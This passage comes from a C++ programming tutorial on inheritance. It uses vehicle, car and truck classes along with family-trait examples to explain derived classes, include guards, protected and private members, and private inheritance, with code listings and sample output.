- For simple example consider your family. You and your siblings inherited many characteristics of your
mother and/or father such as eye and hair color. Your father and/or mother are base classes, whereas
you and your siblings are derived classes.
- In this case, the Cvehicle base class can be used to declare objects that represent plane, trucks, cars,
bicycles, or any other vehicles you can think up.
- The class named Ccar however can only be used to declare an object that is of type Ccar because we
have limited kinds of data that can be intelligently used with it. The car class is therefore more
restrictive and specific than the Cvehicle class.
- If we wish to get even more specific, we could define a derived class using Ccar as the base class,
name it Csports_car, and include information such as red_line_limit for the tachometer or
turbo_type_engine as new member variables.
- Then, the Ccar class would therefore be used as a derived class and a base class at the same time, so it
should be clear that these names refer to how the class is used.

14.6 Derived Class Declaration

- A derived class is defined by including the header file of the base class as is done in line 8 as shown
below:

#include "vehicle.h"

- And then the name of the base class is given following the name of the derived class separated by a
colon ( : ) as is illustrated in line 12 as shown below:

class Ccar : public Cvehicle

- Ignore the keyword public immediately following the colon in this line. This defines public
inheritance and we will discuss it later.
- All objects declared as being of class Ccar therefore are composed of the two variables from the
Cvehicle class because they inherit those variables, and the single member variable declared in the
Ccar class named passenger_load, and the total member variable is listed below:

▪ int wheels;

www.tenouk.com
▪ int weight;
▪ int passenger_load;

- An object of this class also will have three of the four methods of Cvehicle as listed below:

▪ get_wheels( ) { }
▪ get_weight( ) { }
▪ wheel_load( ) { }

- And the two new methods

▪ initialize( ) { }
▪ passengers( ) { }

- The method named initialize() which is part of the Cvehicle class will not be available here
because it is hidden by the local version of initialize() which is a part of the Ccar class. The
local method will be used if the name is repeated, allowing you to customize your new class.
Figure 14.2 is a graphical representation of an object of this class.
- Note once again that the implementation for the base class only needs to be supplied in its compiled
form of the vehicle.cpp file. The source code for implementation can be hidden.
- The header file for the base class, vehicle.h, must be available as a text file since the class
definitions are required in order to use the class.

- The following figure is an illustration of our simple class hierarchy. Here, car inherits some of the
common vehicle’s properties.

14.7 The Ccar Class Implementation – car.cpp

- Examine the program named car.cpp which is the implementation file for the Ccar class.
- The first thing you should notice, this file has no indication of the fact that it is a derived class of any
other class, and can only be determined by inspecting the preprocessor directive of the header file
#include "car.h".

1. //Implementation file car.cpp for derived Ccar class


2. //compile without error and include in your project,
3. //Do not run
4.

www.tenouk.com
5. #include "car.h"
6.
7. //-------implementation part of the derived class car.h----------
8. void Ccar::initialize(int input_wheels, float input_weight, int people)
9. {
10. passenger_load = people;
11. wheels = input_wheels;
12. weight = input_weight;
13. }
14.
15. int Ccar::passengers(void)
16. {
17. return passenger_load;
18. }

18 Lines of codes

Program 14.5: car.cpp, implementation of the Ccar derived class.

- The implementations for the two new methods are similar as in other class, nothing new. Compile this
program without error, this will generate object file for later use.

14.8 Another Derived Class – Ctruck

- Examine the program named truck.h, an example of another derived class that uses the Cvehicle
class as its based class. This class will specialize in those things that pertain to trucks.

1. //Another class declaration, truck.h,


2. //Save this file in your project
3. //Do not compile or run
4.
5. #ifndef TRUCK_H
6. #define TRUCK_H
7.
8. #include "vehicle.h"
9.
10. //----------class declaration part of derived class truck------------
11. class Ctruck : public Cvehicle
12. {
13. int passenger_load;
14. float payload;
15. public:
16. void init_truck(int how_many = 2, float max_load = 24000.0);
17. float efficiency(void);
18. int passengers(void);
19. };
20. #endif

20 Lines of codes

Program 14.6: truck.h, derived class declaration of Ctruck derived class

- This derived class adds two more variables and three more methods compared to the base class,
Cvehicle, is specific information for truck vehicle. Figure 14.3 is the graphical representation of
the Ctruck class.

www.tenouk.com
- Ccar and Ctruck classes have absolutely nothing to do with each other, they only happen to be
derived classes from the same base class.
- Note that both the Ccar and Ctruck classes have methods named passengers() but this causes
no problems and is perfectly valid. This issue will be discussed later.
- If classes are related in some way, and they certainly are if they are both derived classes of a common
base class, you would expect them to be doing somewhat similar things. In this situation there is a
good possibility that a method name would be repeated in both child classes.
- No need to compile and run this program just makes sure there are no other errors such as typing error.

14.9 The Ctruck Class Implementation – truck.cpp

- Examine the program named truck.cpp for the implementation of the Ctruck class.
- Compile this program without error, generating object file, in preparation for our program example that
uses all the three classes Cvehicle, Ccar, Ctruck, defined in this Module.

1. //Derive class truck.cpp implementation


2. //Compile and include in your project
3. //Do not run
4.
5. #include "truck.h"
6.
7. //--------implementation part of the Ctruck derived class------
8. void Ctruck::init_truck(int how_many, float max_load)
9. {
10. passenger_load = how_many;
11. payload = max_load;
12. }
13.
14. float Ctruck::efficiency(void)
15. {
16. return payload/(payload + weight);
17. }
18.
19. int Ctruck::passengers(void)
20. {
21. return passenger_load;
22. }

22 Lines of codes

Program 4.7: truck.cpp implementation of Ctruck derived class

- Now, our simple class hierarchy is illustrated below. Both car and truck inherit some of the
common vehicle’s properties.

www.tenouk.com
14.10 Using All The Classes

- Examine the program named allvehicle.cpp carefully. This main program uses all three of the
classes we have been discussing in this Module.
- Before compiling and running this program, make sure these files: vehicle.h, vehicle.cpp,
car.h, car.cpp, truck.h, truck.cpp and allvehicle.cpp are in one project. Also, you
have to compile without error the vehicle.cpp, car.cpp and truck.cpp files, generating object
files. Compile and execute the allvehicle.cpp main program.
- Also make sure the first main() program transprt.cpp not in this project. We only need one
main() program.

1. //The new main program for inheritance, allvehicle.cpp


2. //Compile and run this program
3.
4. #include <iostream.h>
5. #include <stdlib.h>
6. #include "vehicle.h" //the interface of the Cvehicle class
7. #include "car.h" //the interface of the Ccar class
8. #include "truck.h" //the interface of the Ctruck class
9.
10. void main()
11. {
12. Cvehicle unicycle; //base class
13.
14. cout<<"Unicycle using the Cvehicle base class\n";
15. cout<<"--------------------------------------\n";
16.
17. unicycle.initialize(1,12.5);
18.
19. cout<<"Unicycle has "<<unicycle.get_wheels()<<" tire.\n";
20. cout<<"Unicycle wheel load is "<<unicycle.wheel_load()<<"kg on one
21. tire.\n";
22. cout<<"Unicycle weight is "<<unicycle.get_weight()<<" kg.\n\n";
23.
24. Ccar sedan; //derived class
25.
26. cout<<"Sedan car using the Ccar derived class\n";
27. cout<<"--------------------------------------\n";
28.
29. sedan.initialize(4,3500.0,5);
30.
31. cout<<"Sedan car carries "<<sedan.passengers()<<" passengers.\n";
32. cout<<"Sedan car weight is "<<sedan.get_weight()<<" kg.\n";
33. cout<<"Sedan car wheel load is "<<sedan.wheel_load()<<"kg per tire.\n\n";
34.
35. Ctruck trailer; //derived class
36.
37. cout<<"Trailer using the Ctruck derived class\n";
38. cout<<"--------------------------------------\n";
39.
40. trailer.initialize(18,12500.0);
41. trailer.init_truck(1,33675.0);
42.
43. cout<<"Trailer weight is "<<trailer.get_weight()<<" kg.\n";
44. cout<<"Trailer efficiency is "<<100.00 * trailer.efficiency()<<"%.\n";
45.
46. system("pause");
47. }

47 Lines:Output:

www.tenouk.com
Program 14.8: allvehicle.cpp, the main program

- It uses the base class Cvehicle and also two derived classes to declare objects. This was done to
illustrate that all three classes can be used in a single program.
- All three of the header files for the classes are included in lines 6 through 8, so the program can use the
components of the classes as shown below:

#include "vehicle.h" // the interface of the Cvehicle class


#include "car.h" // the interface of the Ccar class
#include "truck.h" // the interface of the Ctruck class

- Notice the implementations of the three classes (vehicle.cpp, car.cpp and truck.cpp) are not
in view here and do not need to be in view. We only need these files in compiled form.
- This allows the code to be used without access to the source code for the actual implementation of the
class. However, it should be clear that the header file definition must be available to act as an interface.
- In this program example, only one object of each class is declared and used as an example, but as many
as desired could be declared and used in order to accomplish your programming task.
- You will notice how clean and uncluttered the source code is for this program. The classes were
developed, debugged, and stored away and the interfaces were kept very simple.

14.11 The #ifndef ... #endif

- Look at the directive in lines 5, 6 and 20 in the vehicle.h file as shown below. These directives
have been discussed in Module related to preprocessor directive.

#ifndef VEHICLE_H // preprocessor directive


#define VEHICLE_H
...
...
...
#endif

- When we define the derived class Ccar, we are required to supply it with the full definition of the
interface to the Cvehicle class since Ccar is derived class of Cvehicle and must know all about
its base class.
- We do that by including the vehicle class (vehicle.h) into the Ccar class, and the Ccar class can
be compiled. The Cvehicle class must also be included in the header file of the Ctruck class for
the same reason.
- When we get to the allvehicle.cpp program, we must inform it the details of all three classes, so
all three header files must be included as is done in lines 6 through 8 of allvehicle.cpp, but this
leads to a problem.
- When the preprocessor gets to the Ccar class, it includes the Cvehicle class because it is listed in
the Ccar class header file, but since the Cvehicle class already included in line 6 of
allvehicle.cpp, it is included twice and we attempt to re-declare the class Cvehicle.

www.tenouk.com
- Of course it is the same declaration, but the compiler simply doesn’t allow re-declaration of a class.
We allow the double inclusion of the file (vehicle.h and car.h) and at the same time prevent the
double inclusion of the class (Cvehicle) by building a bridge around it using the word VEHICLE_H.
- If the word is already defined, the declaration is skipped, but if the word is not defined, the declaration
is included and vehicle.h is defined at that time. The end result is the actual inclusion of the class
only once, even though the file is included more than once.
- Even though ANSI-C allows multiple definitions of entities, provided the definitions are identical, C++
does not permit this. The primary reason is because the compiler would have great difficulty in
knowing if it has already made a constructor call for the redefined entity, if any and this also create un
optimize codes.
- A multiple constructor call for a single object could cause great havoc, so C++ was defined to prevent
any multiple constructor calls by making it illegal to redefine any entity.
- The name VEHICLE_H was chosen as the word because it is the name of the file, with the period
replaced by the underline. If the name of the file is used systematically in all of your class definitions,
you cannot have a name clash because the filename of every class must be unique.
- Figure 14.4 and 14.5 has shown that the inheritance concepts will create class hierarchy. From the
top, a base class with general description of the object, traversing down of the derived class levels with
more details description of the objects.
- This class hierarchy provides very powerful ‘tool’ for programming. We can reuse readily available
classes which has been developed and tested. At the same time we can combine with our own new
defined classes.
- This will shorten the program development process and cycle, enhances the software quality and
increase the productivity of the programmers.
- For example, Microsoft Foundation Classes (MFC) have hundreds readily available classes which
arranged in hierarchical manner and you can imagine that there should be thousands of member
variables and methods defined, readily available for us to use.

www.tenouk.com
Program Examples and Experiments

- Let start with a simple program skeleton.

//inheritance
#include <iostream.h>
#include <stdlib.h>

//base class
class Base
{
//member variables and member
//functions...
public:
Base(){}
~Base(){}
protected:
private:
};

//derived class...
class Derived:public Base
{
//same as normal class actually...
//member variables and member function...
public:
Derived(){}

www.tenouk.com
~Derived(){}
private:
protected:
};

void main()
{
cout<<"Testing the program skeleton..."<<endl;
system("pause");
}

Output:

- Then, let try the real objects.

//inheritance
#include <iostream.h>
#include <stdlib.h>

//---class declaration and implementation------


//base class...
class MyFather
{
//member variables and member
//functions...
private:
char* EyeColor;
char* HairType;
double FamSaving;

protected:
public:
MyFather(){}
~MyFather(){}
char* GetEye()
{ return EyeColor = "Brown";}
char* GetHair()
{ return HairType = "Straight";}
double GetSaving()
{return FamSaving = 30000;}
};

//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;

public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{ return MyEye = "Blue";}
char* GetMyHair()
{return MyHair = "Curly";}
protected:
};

//another derived class...


class MySister:public MyFather
{
private:
char* SisEye;
char* SisHair;

public:
MySister(){}
~MySister(){}

www.tenouk.com
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{ return SisHair = "Blonde";}
};

//-----------main program---------------
int main()
{
//base class object...
MyFather Test1;

cout<<"Testing the inheritance program...\n"<<endl;


cout<<"My father's eye is = "<<Test1.GetEye()<<endl;
cout<<"My father's hair is = "<<Test1.GetHair()<<endl;

//derived class object...


MySelf Test2;
cout<<"\nMy eye is = "<<Test2.GetMyEye()<<endl;
cout<<"My hair is = "<<Test2.GetMyHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test2.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test2.GetEye()<<endl;
cout<<"My father's hair is = "<<Test2.GetHair()<<endl;

//another derived class object...


MySister Test3;
cout<<"\nMy sister's eye is = "<<Test3.GetSisEye()<<endl;
cout<<"My sister's hair is = "<<Test3.GetSisHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test3.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test3.GetEye()<<endl;
cout<<"My father's hair is = "<<Test3.GetHair()<<"\n\n";
system("pause");
return 0;
}

Output:

- If you have noticed, the program examples in this Module become smaller, simpler and manageable
compared to what is in the previous Modules.
- Let try compiling in VC++/VC++ .Net.

//inheritance
#include <iostream>
using namespace std;

//---class declaration and implementation------


//base class...
class MyFather
{
//member variables and member
//functions...
private:
char* EyeColor;

www.tenouk.com
char* HairType;
double FamSaving;

protected:
//protected members here…

public:
MyFather(){}
~MyFather(){}
char* GetEye()
{ return EyeColor = "Brown";}
char* GetHair()
{ return HairType = "Straight";}
double GetSaving()
{return FamSaving = 30000;}
};

//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;

public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{ return MyEye = "Blue";}
char* GetMyHair()
{return MyHair = "Curly";}
protected:
};

//another derived class...


class MySister:public MyFather
{
private:
char* SisEye;
char* SisHair;

public:
MySister(){}
~MySister(){}
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{ return SisHair = "Blonde";}
};

//-----------main program---------------
int main()
{
//base class object...
MyFather Test1;

cout<<"Testing the inheritance program...\n"<<endl;


cout<<"My father's eye is = "<<Test1.GetEye()<<endl;
cout<<"My father's hair is = "<<Test1.GetHair()<<endl;

//derived class object...


MySelf Test2;
cout<<"\nMy eye is = "<<Test2.GetMyEye()<<endl;
cout<<"My hair is = "<<Test2.GetMyHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test2.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test2.GetEye()<<endl;
cout<<"My father's hair is = "<<Test2.GetHair()<<endl;

//another derived class object...


MySister Test3;
cout<<"\nMy sister's eye is = "<<Test3.GetSisEye()<<endl;
cout<<"My sister's hair is = "<<Test3.GetSisHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test3.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test3.GetEye()<<endl;
cout<<"My father's hair is = "<<Test3.GetHair()<<"\n\n";
return 0;
}

www.tenouk.com
Output:

- The following is a previous example compiled using g++. To link more than one object files, it is
better to create makefile.

//**************herit2.cpp**************
//**************FEDORA 3, g++ x.x.x****
//inheritance
#include <iostream>
using namespace std;

//---class declaration and implementation------


//base class...
class MyFather
{
//member variables and member
//functions...
private:
char* EyeColor;
char* HairType;
double FamSaving;

protected:
public:
MyFather(){}
~MyFather(){}
char* GetEye()
{return EyeColor = "Brown";}
char* GetHair()
{return HairType = "Straight";}
double GetSaving()
{return FamSaving = 30000;}
};

//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;

public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{return MyEye = "Blue";}
char* GetMyHair()
{return MyHair = "Curly";}
protected:
//...
};

www.tenouk.com
//another derived class...
class MySister:public MyFather
{
private:
char* SisEye;
char* SisHair;

public:
MySister(){}
~MySister(){}
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{return SisHair = "Blonde";}
};

//-----------main program---------------
int main()
{
//base classes object...
MyFather Test1;

cout<<"Testing the inheritance program...\n"<<endl;


cout<<"My father's eye is = "<<Test1.GetEye()<<endl;
cout<<"My father's hair is = "<<Test1.GetHair()<<endl;

//derived class object...


MySelf Test2;
cout<<"\nMy eye is = "<<Test2.GetMyEye()<<endl;
cout<<"My hair is = "<<Test2.GetMyHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test2.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test2.GetEye()<<endl;
cout<<"My father's hair is = "<<Test2.GetHair()<<endl;

//another derived class object...


MySister Test3;
cout<<"\nMy sister's eye is = "<<Test3.GetSisEye()<<endl;
cout<<"My sister's hair is = "<<Test3.GetSisHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test3.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test3.GetEye()<<endl;
cout<<"My father's hair is = "<<Test3.GetHair()<<"\n\n";
return 0;
}

[bodo@bakawali ~]$ g++ herit2.cpp -o herit2


[bodo@bakawali ~]$ ./herit2

Testing the inheritance program...

My father's eye is = Brown


My father's hair is = Straight

My eye is = Blue
My hair is = Curly
Our family saving is = $30000
My father's eye is = Brown
My father's hair is = Straight

My sister's eye is = Black


My sister's hair is = Blonde
Our family saving is = $30000
My father's eye is = Brown
My father's hair is = Straight

-----------------------------------------------------o0o-------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++ and object oriented books at Amazon.com.

www.tenouk.com
MODULE 15
INHERITANCE II

My Training Period: hours

Abilities

Able to understand and use:

▪ Inheritance.
▪ Scope operator (::).
▪ protected, private and public keywords.
▪ Method vs function.
▪ Constructor Execution Order.
▪ Destructor Execution Order.
▪ Pointer, Array and Objects.
▪ Friend functions and classes, keyword friend.

15.1 Introduction

- This Module will illustrate some of the finer points of inheritance and what it can be used for.
- Examine inherit1.cpp program. It is identical to the program developed in Module 14 named
allvehicle.cpp except the program code is rearranged.

1. //Program inherit1.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //-------class declaration part---------------------
6. class vehicle
7. {
8. //This variable will be automatically
9. //inherited by all the derived class but not outside the
10. //base and derived class of vehicle
11. protected:
12. int wheels;
13. double weight;
14. public:
15. void initialize(int input_wheels, double input_weight);
16. int get_wheels(void) {return wheels;}
17. double get_weight(void) {return weight;}
18. double wheel_load(void) {return (weight/wheels);}
19. };
20.
21. //--------------derived class declaration part-------------------
22. class car : public vehicle
23. {
24. int passenger_load;
25. public:
26. void initialize(int input_wheels, double input_weight, int people = 4);
27. int passengers(void)
28. {
29. return passenger_load;
30. }
31. };
32.
33. class truck : public vehicle
34. {
35. int passenger_load;
36. double payload;
37. public:
38. void init_truck(int how_many = 4, double max_load = 24000.0);
39. double efficiency(void);
40. int passengers(void) {return passenger_load;}
41. };
42.
43. //------------------------The main program-------------------------
44. int main()
45. {
46. vehicle unicycle;
47. unicycle.initialize(1, 12.5);
48.
49. cout<<"Using base class, vehicle\n";

www.tenouk.com
50. cout<<"-------------------------\n";
51. cout<<"The unicycle has " <<unicycle.get_wheels()<<" wheel.\n";
52. cout<<"The unicycle's wheel loading is "<<unicycle.wheel_load()<<" kg on the
53. single tire.\n";
54. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
55.
56. car sedan_car;
57. sedan_car.initialize(4, 3500.0, 5);
58.
59. cout<<"Using derived class, car\n";
60. cout<<"------------------------\n";
61. cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
62. cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
63. cout<<"The sedan's car wheel loading is "<<sedan_car.wheel_load()<<" kg per
64. tire.\n\n";
65. truck trailer;
66. trailer.initialize(18, 12500.0);
67. trailer.init_truck(1, 33675.0);
68.
69. cout<<"Using derived class, truck\n";
70. cout<<"--------------------------\n";
71. cout<<"The trailer weighs "<< trailer.get_weight()<< " kg.\n";
72. cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
73.
74. system("pause");
75. return 0;
76. }
77.
78. //------------base and derived class implementation part--------------
79. //initialize to any data desired, own by base class
80. void vehicle::initialize(int input_wheels, double input_weight)
81. {
82. wheels = input_wheels;
83. weight = input_weight;
84. }
85.
86. //initialize() method own by derived car class
87. void car::initialize(int input_wheels, double input_weight, int people)
88. {
89. //class base variables used by derived car class,
90. //because of the protected keyword
91. passenger_load = people;
92. wheels = input_wheels;
93. weight = input_weight;
94. }
95.
96. void truck::init_truck(int how_many, double max_load)
97. {
98. passenger_load = how_many;
99. payload = max_load;
100. }
102.
103. double truck::efficiency(void)
104. {
105. return payload / (payload + weight);
106. }

106 Lines: Output:

www.tenouk.com
- The difference is that some of the simpler methods in the classes have been changed to inline code.
- In a practical programming situation, shorter and simple methods should be programmed inline since
the actual code just to return a simple value is shorter than the code required to send a message to a
non-inline method.
- Other change is the reordering of the classes and related methods with the classes all defined first,
followed by the main program.
- The implementations for the methods are deferred until the end of the file where they are available for
quick reference but are not cluttering up the class definitions.
- This arrangement violates the C++ rules and the use of the separate compilation, but is only done here
for convenience.
- The best way to package all of the program examples in this Module are like the class packaging
explained in Module 12.
- As mentioned before, the two derived classes, car and truck, each have a variable named
passenger_load which is legal because they are defined in different classes.
- The car class has a method of the same name, initialize(), as one declared in the base class
named vehicle.

15.2 The Scope Operator

- Notice that the method initialize() is declared in the derived car class, so, it hides the method
of the same name which is part of the base class, and there may be times you wish to send a message to
the method in the base class for use in the derived class object.
- This can be done by using the scope operator (::) in the following manner in the main program:

void vehicle::initialize(int input_wheels, double input_weight)

- The number and types of parameters must agree with those of the method in the base class.

15.3 Protected Data

- If the data within a base class were totally available in all classes inheriting that base class, it would be
a simple matter for a programmer to inherit the base class into a derived class and have free access to
all data in the base class.
- This would completely override the protection achieved by using the information hiding. For this
reason, the data in a class should not automatically available to the methods of an inheriting class.
- There are times when you may wish to automatically inherit all variables directly into the derived
classes and have them act just as though they were declared as a part of those classes also. For this
reason, C++ has provided the keyword protected.
- In this program example, the keyword protected is given in line 11 so that all of the data of the
vehicle class can be directly imported into any derived classes but are not available outside of the
base class or derived classes.

...
protected:
int wheels;

www.tenouk.com
double weight;
...

- As mentioned before, all data are automatically defaulted to private at the beginning of a class if no
specifier is given.
- You will notice that the variables named wheels and weight are available for use in the method
named initialize() in lines 87 through 94 as shown below, just as if they were declared as a part
of the car class itself.

void car::initialize(int input_wheels, double input_weight, int people)


{
//class base variables used by derived car class,
//because of the protected keyword
passenger_load = people;
wheels = input_wheels;
weight = input_weight;
}

- They are available because they were declared protected in the base class. They would be available
here if they had been declared public in the base class, but then they would be available outside of
both classes and we would lose our protection.
- We can now conclude the rules for the three means of defining variables and methods specifiers.

Specifier Description
The variables and methods are not available to any outside calling routines,
and they also are not available to any derived classes inheriting this class.
Class members are private by default.
private You can override the default struct access with private or protected but
you cannot override the default union access.
friend declarations are not affected by this access specifier.
The variables and methods are not available to any outside calling routines,
but they are directly available to any derived class inheriting this class.
protected You can override the default struct access with private or protected but
you cannot override the default union access. friend declarations are
not affected by this access specifier.
All variables and methods are freely available to all outside calling
routines and to all derived classes. Members of a struct or union are public
by default.
public You can override the default struct access with private or protected but
you cannot override the default union access.
friend declarations are not affected by this access specifier.

Table 15.1: Member variable and method specifier

- These keywords when used are effective until one of the other keyword is found in a sequence manner.
So, depend on your need, they can be reused in the same block of codes.
- These three definitions can also be used in a struct data type. The difference with a struct is that
everything defaults to public until one of the other keywords is used.
- Compile and run this program before continuing on the next program example.

15.4 Private Data And Inheritance

- Examine the program named inherit2.cpp where the data in the base class is permitted to use the
default private because line 8 is commented out.

1. //program inherit2.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //--------------base and derived class declaration part--------------
6. class vehicle
7. {
8. //protected:
9. //Note this is removed, so it is private now
10. int wheels;
11. double weight;
12. public: //public specifier
13. void initialize(int input_wheels, double input_weight);

www.tenouk.com
14. int get_wheels(void) {return wheels;}
15. double get_weight(void) {return weight;}
16. double wheel_load(void) {return (weight/wheels);}
17. };
18.
19. class car : public vehicle
20. {
21. int passenger_load;
22. public:
23. void initialize(int input_wheels, double input_weight, int people = 4);
24. int passengers(void) {return passenger_load;}
25. };
26.
27. class truck : public vehicle
28. {
29. int passenger_load;
30. double payload;
31. public:
32. void init_truck(int how_many = 4, double max_load = 24000.0);
33. double efficiency(void);
34. int passengers(void) {return passenger_load;}
35. };
36.
37. //----------------main program------------------
38. int main()
39. {
40. vehicle unicycle;
41. unicycle.initialize(1, 12.5);
42.
43. cout<<"Using base class, vehicle\n";
44. cout<<"-------------------------\n";
45. cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
46. cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<" kg
47. on the single tire.\n";
48. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
49.
50. car sedan_car;
51. sedan_car.initialize(4, 3500.0, 5);
52.
53. cout<<"Using derived class, car\n";
54. cout<<"------------------------\n";
55. cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
56. cout<<"The sedan car weighs "<<sedan_car.get_weight()<< " kg.\n";
57. cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<
58. " kg per tire.\n\n";
59.
60. truck trailer;
61. trailer.initialize(18, 12500.0);
62. trailer.init_truck(1, 33675.0);
63.
64. cout<<"Using derived class, truck\n";
65. cout<<"--------------------------\n";
66. cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
67. cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
68.
69. system("pause");
70. return 0;
71. }
72.
73. //--------------base and derived class implementation part-------------
74. // initialize to any data desired, this method own by base class
75. void vehicle::initialize(int input_wheels, double input_weight)
76. {
77. wheels = input_wheels;
78. weight = input_weight;
79. }
80.
81. //This method own by derived class
82. void car::initialize(int input_wheels, double input_weight, int people)
83. {
84. passenger_load = people;
85.
86. //This variable are invalid anymore because both wheels
87. //and weight are private now.
88. //wheels = input_wheels;
89. //weight = input_weight;
90. vehicle::initialize(input_wheels, input_weight);
91. //Added statement, using base class method instead of derived class
92. }
93.

www.tenouk.com
94. void truck::init_truck(int how_many, double max_load)
95. {
96. passenger_load = how_many;
97. payload = max_load;
98. }
99.
100. double truck::efficiency(void)
101. {
102. //Changed from program inherit1.cpp, from weight to get_weight()
103. return payload / (payload + get_weight());
104. }

104 Lines: Output:

- In this program, the data is not available directly for use in the derived classes, so the only way the data
(member variables) in the base class can be used is by sending messages to methods in the base class,
within the derived class.
- You should think about how the class you define will be used. If you think somebody should wish to
inherit your class into a new class and expand it, you should make the data members protected so
they can be easily used in the new derived class.
- Lines 88 and 89 are invalid now since the members are not visible, so they are commented out as
shown below:

// wheels = input_wheels;
// weight = input_weight;

- But line 90 now does the job they did before they were hidden by calling the public method of the base
class as shown below:

vehicle::initialize(input_wheels, input_weight);
//Added statement, using base class method instead of derived class

- You will notice that the data is still available in lines 77 and 78 as shown below, just as they were
before because the member variables are protected in the vehicle class. Compile and run this
program.

wheels = input_wheels;
weight = input_weight;

15.5 Hidden Methods

- Examine the program named inherit3.cpp carefully and you will see that it is a repeat of the
inherit1.cpp with a few minor changes.

1. //Program inherit3.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //------------------base and derived class declaration part--------------
6. class vehicle

www.tenouk.com
7. {
8. protected:
9. int wheels;
10. double weight;
11. public:
12. void initialize(int input_wheels, double input_weight);
13. int get_wheels(void) {return wheels;}
14. double get_weight(void) {return weight;}
15. double wheel_load(void) {return (weight/wheels);}
16. };
17.
18. //public keyword changed to private - private inheritance
19. class car : private vehicle
20. {
21. int passenger_load;
22. public:
23. void initialize(int input_wheels, double input_weight, int people = 4);
24. int passengers(void) {return passenger_load;}
25. };
26.
27. //public keyword change to private - private inheritance
28. class truck : private vehicle
29. {
30. int passenger_load;
31. double payload;
32. public:
33. void init_truck(int how_many = 4, double max_load = 24000.0);
34. double efficiency(void);
35. int passengers(void) {return passenger_load;}
36. };
37.
38. //-----------------------main program------------------------------
39. int main()
40. {
41. vehicle unicycle;
42. unicycle.initialize(1, 12.5);
43.
44. cout<<"Using base class, vehicle with public methods\n";
45. cout<<"---------------------------------------------\n";
46. cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
47. cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<" kg
48. on the single tire.\n";
49. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
50.
51. car sedan_car;
52. sedan_car.initialize(4, 3500.0, 5);
53.
54. cout<<"\nThese two are public-->sedan_car.initialize(4,3500.0,5)\n";
55. cout<<"and sedan_car.passengers()\n";
56. cout<<"-------------------------------------------------------\n";
57. cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
58. //methods get_weight() and wheel_load() not available
59. //because we use private inheritance
60. //cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
61. //cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<" kg per
62. // tire.\n\n";
63.
64. truck trailer;
65. //trailer.initialize(18, 12500.0);
66. //this method is private now
67. trailer.init_truck(1, 33675.0);
68.
69. cout<<"\nThese are public-->trailer.init_truck(1, 33675.0),\n";
70. cout<<"trailer.efficiency() and trailer.passengers()\n";
71. cout<<"--------------------------------------------------\n";
72. cout<<"\nOthers are private...\n";
73. //methods get_weight() and efficiency() not available
74. //because we use private inheritance
75. //cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
76. //cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
77.
78. system("pause");
79. return 0;
80. }
81.
82. //------------class implementation part-------------------------------
83. // initialize to any data desired, method own by base class
84. void vehicle::initialize(int input_wheels, double input_weight)
85. {
86. wheels = input_wheels;

www.tenouk.com
87. weight = input_weight;
88. }
89.
90. //method own by derived class
91. void car::initialize(int input_wheels, double input_weight, int people)
92. { //wheels and weight still available because of the protected keyword
93. passenger_load = people;
94. wheels = input_wheels;
95. weight = input_weight;
96. }
97.
98. void truck::init_truck(int how_many, double max_load)
99. {
100. passenger_load = how_many;
101. payload = max_load;
102. }
103.
104. double truck::efficiency(void)
105. {
106. return (payload / (payload + weight));
107. }

107 Lines: Output:

- You will notice that the derived classes named car and truck have the keyword private instead of
the public prior to the name of the base class in the first line of each class declaration as shown
below:

class car : private vehicle


...

class truck : private vehicle


...

- The keyword public, when included prior to the base class name, makes all of the methods defined in
the base class available for use in the derived class at the same security level as they were defined in
the base class.
- Therefore, in the previous program, we were permitted to call the methods defined as part of the base
class from the main program even though we were working with an object of the derived classes.
- In this program, all entities are inherited as private due to the use of the keyword private prior to
the name of the base class. They are therefore unavailable to any code outside of the derived class.
